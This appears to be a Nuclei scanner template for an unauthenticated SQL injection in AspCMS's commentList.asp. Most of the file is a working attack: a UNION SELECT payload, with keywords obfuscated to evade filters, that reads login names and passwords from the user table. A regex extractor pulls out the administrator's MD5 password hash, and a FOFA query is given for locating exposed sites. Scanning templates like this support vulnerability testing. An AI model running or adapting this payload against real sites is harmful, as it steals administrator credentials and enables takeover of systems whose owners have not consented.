32 lines
1.1 KiB
YAML
32 lines
1.1 KiB
YAML
|
id: aspcms-commentlist-sqli
|
||
|
|
|
||
|
|
info:
|
||
|
|
name: AspCMS commentList.asp - SQL Injection
|
||
|
|
author: SleepingBag945
|
||
|
|
severity: high
|
||
|
|
description: |
|
||
|
|
An SQL injection vulnerability has been identified in the commentList.asp file of AspCMS. Exploiting this vulnerability, an attacker can illicitly acquire the administrator's MD5 password.
|
||
|
|
reference:
|
||
|
|
- https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/cms/AspCMS/AspCMS%20commentList.asp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.md
|
||
|
|
metadata:
|
||
|
|
verified: true
|
||
|
|
fofa-query: app="ASPCMS"
|
||
|
|
tags: aspcms,sqli,unauth
|
||
|
|
|
||
|
|
http:
|
||
|
|
- method: GET
|
||
|
|
path:
|
||
|
|
- "{{BaseURL}}/plug/comment/commentList.asp?id=-1%20unmasterion%20semasterlect%20top%201%20UserID,GroupID,LoginName,Password,now(),null,1%20%20frmasterom%20{prefix}user"
|
||
|
|
|
||
|
|
extractors:
|
||
|
|
- type: regex
|
||
|
|
name: admin_password
|
||
|
|
group: 1
|
||
|
|
regex:
|
||
|
|
- "<div class=\"line2\">(.*?)</div>"
|
||
|
|
|
||
|
|
matchers:
|
||
|
|
- type: dsl
|
||
|
|
dsl:
|
||
|
|
- "status_code_1 == 200 && contains(body,'clistbox') && contains(body,'UserID,GroupID,LoginName,Password')"
|
||
|
|
condition: and
|